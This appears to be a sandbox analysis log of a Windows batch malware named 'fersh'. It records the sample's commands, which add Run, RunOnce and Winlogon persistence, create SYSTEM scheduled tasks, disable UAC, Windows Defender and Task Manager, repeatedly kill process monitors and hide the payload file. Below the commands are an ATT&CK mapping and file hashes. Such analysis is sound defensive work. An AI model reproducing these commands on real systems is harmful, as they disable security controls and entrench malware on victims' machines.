C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f1⤵
- Adds Run key to start application
PID:6444
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f1⤵
- Adds Run key to start application
PID:6852
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:2016
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\System32\drivers\etc\fersh.bat" /f1⤵
- Modifies WinLogon for persistence
PID:588
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Users\Admin\AppData\Local\Temp\HACKBYFERSH.bat" /sc onstart /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:888
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onlogon /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:6892
-
C:\Windows\System32\cmd.execmd /c ":loop1⤵PID:2088
-
C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:972
-
C:\Windows\System32\cmd.execmd /c ":loop1⤵PID:6520
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C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onstart /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:6320
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2800
-
C:\Windows\System32\cmd.execmd /c ":loop1⤵PID:1724
-
C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:7140
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1044
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3044
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1092
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6272
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C:\Windows\System32\timeout.exetimeout /t 1 /nobreak1⤵
- Delays execution with timeout.exe
PID:7032
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6424
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C:\Windows\System32\timeout.exetimeout /t 1 /nobreak1⤵
- Delays execution with timeout.exe
PID:5136
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C:\Windows\System32\timeout.exetimeout /t 1 /nobreak1⤵
- Delays execution with timeout.exe
PID:5376
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C:\Windows\explorer.exeexplorer.exe ,C:\Windows\System32\drivers\etc\fersh.bat1⤵PID:2520
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C:\Windows\System32\chcp.comchcp 650011⤵PID:1452
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C:\Windows\System32\net.exenet session1⤵
- Suspicious use of WriteProcessMemory
PID:6628 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session2⤵PID:1932
-
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C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2264
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f1⤵
- UAC bypass
PID:6156
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:2344
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:6060
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C:\Windows\System32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f1⤵PID:5332
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C:\Windows\System32\net.exenet stop WinDefend /y1⤵
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y2⤵PID:2900
-
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C:\Windows\System32\sc.exesc config WinDefend start= disabled1⤵
- Launches sc.exe
PID:6988
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C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1056
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1864
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C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6532
-
C:\Windows\System32\attrib.exeattrib +h +s "C:\Windows\System32\drivers\etc\fersh.bat"1⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6556
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C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "FershSecurity" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f1⤵
- Adds Run key to start application
PID:4296
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "FershUpdate" /t REG_SZ /d "\"C:\Windows\System32\drivers\etc\fersh.bat\"" /f1⤵
- Adds Run key to start application
PID:6316
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,C:\Windows\System32\drivers\etc\fersh.bat" /f1⤵
- Modifies WinLogon for persistence
PID:2580
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C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Persistence" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onlogon /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:5080
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C:\Windows\System32\schtasks.exeschtasks /create /tn "\Microsoft\Windows\Fersh\Critical" /tr "C:\Windows\System32\drivers\etc\fersh.bat" /sc onstart /ru "SYSTEM" /f1⤵
- Scheduled Task/Job: Scheduled Task
PID:4964
-
C:\Windows\System32\cmd.execmd /c ":loop1⤵PID:4280
-
C:\Windows\System32\taskkill.exetaskkill /f /im taskmgr.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6644
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6440
-
C:\Windows\System32\taskkill.exetaskkill /f /im procexp64.exe1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4060
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C:\Windows\System32\timeout.exetimeout /t 1 /nobreak1⤵
- Delays execution with timeout.exe
PID:2744
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
- Size 28KB
- SHA256 46a8724429b8276bf6dcf9e21c33697773a52549d13c1ee90976e998b00c8be2
- MD5 acaf18b742973ac606af34a56b457f95
- SHA1 0872d0df3e9a88b978f795413a65b74e718d3837
- SHA512 699f2e0528e04f458ed48426f560d568052b923f2a5db9d67958179ff9fb953af4cd1dcc220258f87ddebb09552336daa7a44d459b738e3697a2f1ced89c2e59
- SSDEEP 96:VwKXcu/uKDBJFBwKadP3bgoxr2lQAVMPJy1OdZjRC5g/3:aKXcu/u4BbBwt18oxrk8xySjRUy3
- TLSH T18CD25466B548EA02DE092C36EFEAD9EC23347E21CD8A036775C6B77F48B71C04D29549
- MD5 SHA1 SHA512 SSDEEP TLSH